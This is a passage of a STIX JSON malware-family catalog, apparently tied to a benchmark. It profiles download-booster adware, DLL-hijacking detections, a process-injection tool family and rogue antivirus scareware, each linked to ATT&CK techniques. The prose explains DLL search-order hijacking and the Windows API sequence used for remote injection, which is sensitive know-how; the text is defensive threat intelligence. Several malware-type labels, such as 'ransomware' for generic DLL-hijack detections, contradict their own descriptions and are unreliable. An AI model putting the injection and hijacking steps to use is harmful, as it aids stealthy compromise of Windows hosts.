      "description": "PUA:Win32/Dlboost (Download Boosters/Managers) represents a category of Potentially Unwanted Programs (PUAs) and adware that masquerade as utilities designed to 'accelerate' file downloads. While they may offer rudimentary multi-threading download capabilities, their primary monetization strategy relies on aggressive adware bundling, browser hijacking, and deceptive installation practices.<br><br><b>Understanding Download Boosters</b><br>To an end-user, these programs are often downloaded from third-party freeware sites when trying to download large files (like movies or ISOs). For a security analyst, Dlboost is a classic Pay-Per-Install (PPI) vector. The 'utility' itself is just a wrapper designed to secure technical consent from the user to install a myriad of other, more intrusive adware components and tracking toolbars.<br><br><b>Execution and Bundling Mechanics</b><br>The infection begins when the user downloads the Dlboost installer (`T1204.002`). The setup wizard relies heavily on 'Dark Patterns'\u2014pre-checked consent boxes hidden under 'Advanced' or 'Custom' installation menus. Upon execution, Dlboost contacts an affiliate server (`T1105`) to pull down secondary payloads. It silently installs browser extensions (`T1176`) to hijack the default search engine (`T1112`), injecting advertisements into search results. To ensure it intercepts all downloads, it may register itself as a Browser Helper Object (BHO) or modify the Windows Registry to handle all HTTP/FTP links.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a degraded user experience, intrusive pop-up advertisements, and compromised browsing privacy. Incident responders will observe the unexpected installation of the download manager in `C:\\Program Files` and the addition of unwanted extensions in Chrome or Edge. Network logs will show a spike in DNS requests to known adware affiliate networks immediately following the installation. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dlboost",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dlboost"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ed47894-6c20-5e8d-8879-dc039c511362",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c23f1f8-1e2e-513d-99a1-5c1f6245369e",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlboost exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00f53278-9664-5f09-956c-76db9141dbaf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c23f1f8-1e2e-513d-99a1-5c1f6245369e",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlboost exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8e8a4458-f942-5a12-ab8d-7b029884c1e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c23f1f8-1e2e-513d-99a1-5c1f6245369e",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlboost exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--11b417a1-32de-5f54-a217-aa21d3899f8d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c23f1f8-1e2e-513d-99a1-5c1f6245369e",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlboost exhibits technique T1112 (Modify Registry (Search Hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d86502c-a65d-5083-b759-8183619d903a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c23f1f8-1e2e-513d-99a1-5c1f6245369e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlboost exhibits technique T1105 (Ingress Tool Transfer (Downloading affiliate adware))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ca62fde9-1f67-51f6-af49-fbcf1b454253",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dlguide",
      "description": "DownloadGuide (detected across commercial threat intelligence as PUA:Win32/DownloadGuide, Adware:Win32/DownloadGuide, and Win32/DownloadGuide.Bundler) is a deceptive software installer wrapper and download manager analyzed by Microsoft Defender and Malwarebytes. DownloadGuide operates primarily as an affiliate-driven monetization installer deployed across third-party freeware mirrors, torrent platforms, and file-hosting portals. When users download open-source applications, video codecs, or gaming utilities, the primary download link serves the DownloadGuide executable wrapper rather than the clean software binary. Upon launch, the wrapper displays an interface utilizing dark UX patterns\u2014including obscured decline buttons, pre-checked opt-in boxes, and misleading license agreements\u2014to gain user authorization for deploying secondary payloads. In the background, DownloadGuide contacts affiliate command-and-control servers via HTTP/HTTPS to retrieve lists of promotional packages, which are staged in %Temp% and executed silently. These secondary payloads include persistent adware engines, search engine redirectors, rogue registry optimizers, and tracking toolbars. To maintain persistence, DownloadGuide configures Windows Scheduled Tasks and auto-start registry values under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run. (Observed samples in benchmark: 4,733)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/DownloadGuide",
        "Adware:Win32/DownloadGuide",
        "Win32/DownloadGuide.Bundler",
        "PUP.Optional.DownloadGuide",
        "Adware.DownloadGuide"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dlguide",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dlguide"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--04559913-6aa7-522c-899e-1bc18b13eb00",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca62fde9-1f67-51f6-af49-fbcf1b454253",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlguide exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5917c290-e2c0-5e4e-9fb1-0c18adf1dfde",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca62fde9-1f67-51f6-af49-fbcf1b454253",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlguide exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7ab69927-ae8f-5fa6-97aa-3211328f2aab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca62fde9-1f67-51f6-af49-fbcf1b454253",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlguide exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--70ab5a24-a645-54e0-b9fa-fa8b79a18f07",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca62fde9-1f67-51f6-af49-fbcf1b454253",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlguide exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--37f9e3a6-94ff-59a4-8add-cd79680970bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca62fde9-1f67-51f6-af49-fbcf1b454253",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlguide exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4807f06b-c155-5819-bd87-ea35e61b152c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca62fde9-1f67-51f6-af49-fbcf1b454253",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlguide exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3eb02c3d-7fd5-5bdf-a7b0-f29e026c29e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca62fde9-1f67-51f6-af49-fbcf1b454253",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlguide exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--69bc11df-1867-54b7-9c9b-5023498470dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dlhelper",
      "description": "Dlhelper (classified in antimalware telemetry as SoftwareBundler:Win32/Dlhelper and PUA:Win32/DLHelper) is a deceptive software bundler and secondary downloader operating on Windows systems since 2016. Frequently distributed through deceptive search ads, spoofed software download landing pages, and mountable ISO disk images, Dlhelper pretends to be an official download accelerator or software installer. During operation, Dlhelper contacts remote affiliate infrastructure to receive a configuration package specifying additional software to install silently. It then downloads and installs auxiliary adware, browser hijackers, and promotional toolbars (including the Pokavampo adware family) without explicit user consent. Dlhelper alters browser preferences, creates persistent startup tasks, and monitors system network connections to facilitate continuous ad injection. (Observed samples in benchmark: 290)",
      "is_family": true,
      "malware_types": [
        "downloader"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "SoftwareBundler:Win32/Dlhelper",
        "PUA:Win32/DLHelper",
        "Adware.Dlhelper",
        "Win32/Dlhelper",
        "Dlhelper.Bundler"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dlhelper",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dlhelper"
        }
      ],
      "labels": [
        "downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--961e307c-63b9-5cca-b4a3-1cf16fd995c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--69bc11df-1867-54b7-9c9b-5023498470dd",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlhelper exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2b09279d-b9fb-565a-8a01-7f0f2b06871e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--69bc11df-1867-54b7-9c9b-5023498470dd",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlhelper exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a531f7ca-a10a-5136-92c9-7500f2a0a80a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--69bc11df-1867-54b7-9c9b-5023498470dd",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlhelper exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83330238-4b0d-5fbf-b3ec-2110c1481346",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--69bc11df-1867-54b7-9c9b-5023498470dd",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlhelper exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--29a47080-9240-5889-b658-94836244a157",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--69bc11df-1867-54b7-9c9b-5023498470dd",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlhelper exhibits technique T1036.005 (Masquerading: Match Legitimate Name or Location)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1284d4bb-c540-55fe-b44b-8c6baffb82c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dllhijack",
      "description": "Exploit:Win32/Dllhijack refers not to a specific malware family, but to a critical execution and defense evasion technique (`T1574.001` - DLL Search Order Hijacking). Antivirus engines use this detection when they observe a known good, legitimate application (like a signed Microsoft binary or a popular third-party tool) being manipulated to load a malicious Dynamic Link Library (DLL) instead of its intended, legitimate DLL.<br><br><b>Understanding DLL Hijacking (Defense Evasion)</b><br>To an end-user, the infection is entirely invisible. For a security team, a Dllhijack detection is a severe warning that an attacker is utilizing advanced 'Living off the Land' (LotL) techniques. Because the malicious code runs inside the memory space of a trusted, digitally signed process, it easily bypasses basic AV signatures, application whitelisting (AppLocker), and often blends in with normal EDR logs.<br><br><b>Execution and Evasion Mechanics</b><br>When a Windows application needs to load a DLL, it searches directories in a specific order (the directory the app was launched from, then System32, then the Windows folder, etc.). Attackers exploit this by dropping a malicious DLL (named identically to a required system DLL, e.g., `version.dll` or `cryptbase.dll`) into the same directory as the vulnerable application. When the legitimate application runs, it unknowingly loads the attacker's DLL first, executing the malicious payload (like Cobalt Strike or a ransomware encryptor).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total system compromise, achieved stealthily. Host-based IoCs include the presence of unsigned DLLs residing in directories where they do not belong (e.g., a system DLL sitting in `%AppData%` next to a copied legitimate executable). EDR solutions must analyze image load events to detect unsigned modules loading into signed processes. Process Explorer can be used to verify the digital signatures of all loaded modules for a suspected process. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dllhijack",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dllhijack"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--384dfe89-767b-582b-8fe4-c24d386f8900",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1284d4bb-c540-55fe-b44b-8c6baffb82c9",
      "target_ref": "attack-pattern--4cac5ad8-9b35-5105-99ec-b9d2404aa582",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dllhijack exhibits technique T1574.001 (Hijack Execution Flow: DLL Search Order Hijacking (The core technique being detected))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--78fa1e0e-adf2-51c8-8f69-ea1c7cdf4e7b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1284d4bb-c540-55fe-b44b-8c6baffb82c9",
      "target_ref": "attack-pattern--a763b4e8-06c3-5399-9705-7b4f6eec4504",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dllhijack exhibits technique T1574.002 (Hijack Execution Flow: DLL Side-Loading (A closely related technique))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f90fd85b-4d9d-57c0-846f-7381cc3483bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1284d4bb-c540-55fe-b44b-8c6baffb82c9",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dllhijack exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection (The ultimate result of the hijack))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--33fc77b7-a010-5105-b9b7-ee141ee44a6a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dllhijacker",
      "description": "Trojan:Win32/Dllhijacker is a generic heuristic detection used by antivirus engines to classify malware that specifically relies on **DLL Search Order Hijacking** (`T1574.001`) to execute its payload. This is a highly advanced evasion and privilege escalation technique where malware replaces a legitimate, expected Dynamic Link Library (DLL) with a malicious fake, tricking a trusted system process into loading the malware into its own memory space.<br><br><b>Understanding DLL Hijacking</b><br>To an end-user, this attack is completely invisible. For a security analyst, a Dllhijacker detection indicates a sophisticated adversary attempting to bypass application whitelisting (like AppLocker) and evade EDR by hiding within the context of a trusted Microsoft process. APT groups and advanced ransomware families frequently utilize this technique for stealthy persistence.<br><br><b>Execution and Hijacking Mechanics</b><br>When a Windows application starts, it often doesn't specify the exact, absolute path to the DLLs it needs. Instead, it relies on the Windows DLL Search Order (checking the application directory first, then `System32`, then the PATH). The malware exploits this by dropping a malicious DLL, named identically to a legitimate missing DLL, into a directory higher up in the search order (often the application's own directory) (`T1574.001`). When the legitimate executable runs (`T1204.002`), it inadvertently loads the malicious DLL (`T1055.001`). The malicious DLL executes its payload (often a beacon or downloader), and then uses API forwarding to seamlessly pass the legitimate function calls back to the real DLL, ensuring the parent application doesn't crash and the user notices nothing.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is stealthy, persistent execution of malware disguised as trusted processes. The primary IoC is EDR alerts detecting unsigned DLLs being loaded by signed, native Windows executables (e.g., `calc.exe` or `msteams.exe` loading a malicious `version.dll` from the `%AppData%` directory). Threat hunters should look for newly created `.dll` files in unexpected directories alongside legitimate executables. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dllhijacker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dllhijacker"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--613c0464-6900-5819-8d4d-102adf6461ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--33fc77b7-a010-5105-b9b7-ee141ee44a6a",
      "target_ref": "attack-pattern--4cac5ad8-9b35-5105-99ec-b9d2404aa582",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dllhijacker exhibits technique T1574.001 (Hijack Execution Flow: Search Order Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f1e5efab-7b81-5e32-8110-51cc7d772e42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--33fc77b7-a010-5105-b9b7-ee141ee44a6a",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dllhijacker exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6776a6e2-a14c-579e-a3b2-c83b9b4d68a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--33fc77b7-a010-5105-b9b7-ee141ee44a6a",
      "target_ref": "attack-pattern--fddb1dde-b707-58d9-9234-0e950f6512cb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dllhijacker exhibits technique T1547 (Boot or Logon Autostart Execution (Using hijacked DLLs for persistence))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cc41564d-df5c-5d12-bfe3-47e3e591b338",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--33fc77b7-a010-5105-b9b7-ee141ee44a6a",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dllhijacker exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--507c1dc5-de24-54d9-9ec6-2d2f7965a498",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dllinject",
      "description": "DllInject (cataloged under vendor detection signatures including Trojan:Win32/DllInject, HackTool:Win32/DllInject, and MSIL/DllInject) represents a broad family of specialized process injection tools and malicious loader utilities active since 2012. Designed to execute arbitrary shellcode and dynamic link libraries inside the memory space of legitimate Windows host processes (such as explorer.exe, svchost.exe, or web browsers), DllInject utilities allow threat actors to bypass host firewalls, evade endpoint detection and response (EDR) heuristics, and mask outbound network communications. The typical injection workflow leverages low-level Windows native APIs\u2014specifically OpenProcess, VirtualAllocEx to allocate remote process memory, WriteProcessMemory to copy payload bytes or DLL paths, and CreateRemoteThread (or RtlCreateUserThread) to force thread execution. While frequently distributed as standalone hacktools, game mod injectors, and crack loaders, malicious threat groups embed DllInject modules into modular trojans and multi-stage droppers to achieve memory-resident, fileless malware execution that leaves minimal disk forensic footprints. (Observed samples in benchmark: 97)",
      "is_family": true,
      "malware_types": [
        "exploit-kit"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/DllInject",
        "HackTool:Win32/DllInject",
        "MSIL/DllInject",
        "Win32/DllInject.MTB"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dllinject",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dllinject"
        }
      ],
      "labels": [
        "hacktool",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2e25e898-18df-5ff9-b3c9-08a9fe5e9ecb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--507c1dc5-de24-54d9-9ec6-2d2f7965a498",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dllinject exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64e9b26a-750e-5af0-bba4-caa4a08ed9e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--507c1dc5-de24-54d9-9ec6-2d2f7965a498",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dllinject exhibits technique T1055.012 (Process Injection: Process Hollowing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c66978f9-1b89-5db2-bcfc-c9cf0bdd4cf6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--507c1dc5-de24-54d9-9ec6-2d2f7965a498",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dllinject exhibits technique T1106 (Native API)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ace921a3-e7a6-5842-97bc-1bcf8d74c6b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--507c1dc5-de24-54d9-9ec6-2d2f7965a498",
      "target_ref": "attack-pattern--a763b4e8-06c3-5399-9705-7b4f6eec4504",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dllinject exhibits technique T1574.002 (Hijack Execution Flow: DLL Side-Loading)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e4fae2d4-c6db-5da0-8774-623a34ea4008",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--507c1dc5-de24-54d9-9ec6-2d2f7965a498",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dllinject exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--09f40621-4e5e-57a1-b773-99bc0bbfd2f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dlsecure",
      "description": "<h3>Executive Summary</h3>\nDlsecure is a prominent example of \"Rogue AV\" or \"Scareware.\" It is a deceptive, malicious application designed to aggressively mimic the graphical user interface of a legitimate Windows security program. Its sole objective is financial extortion; it bombards the user with fake security alerts claiming the system is severely infected, demanding the user pay for a \"premium\" license of Dlsecure to remove the fabricated threats.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDlsecure is most commonly distributed via aggressive \"malvertising\" campaigns. Users clicking on dubious links or visiting compromised websites are redirected to landing pages that simulate a \"Windows Security Scan\" in the browser, ultimately tricking the user into downloading the fake antivirus installer.\n\nUpon execution, Dlsecure operates entirely on psychological manipulation and system lock-down:\n<ul>\n<li><strong>Deceptive GUI:</strong> The malware launches a highly convincing interface complete with fake scan progress bars, spinning icons, and long lists of terrifying-sounding (but entirely non-existent) malware infections.</li>\n<li><strong>System Disruption:</strong> To force the user to pay, Dlsecure actively disables the operating system. It routinely terminates legitimate executable files (like `taskmgr.exe` or `explorer.exe`), blocks access to real antivirus websites, and constantly displays full-screen warnings that \"system damage is imminent.\"</li>\n<li><strong>Extortion:</strong> The program persistently directs the user to a payment gateway (often requesting credit card details) to purchase the \"full version\" to \"clean\" the system.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Dlsecure is incredibly disruptive and renders the computer practically unusable, it generally does not encrypt files (like ransomware) or silently steal data in the background. The primary threat is financial fraud (the extortion payment) and the denial of access to the workstation. However, the presence of Scareware indicates a failure of perimeter web 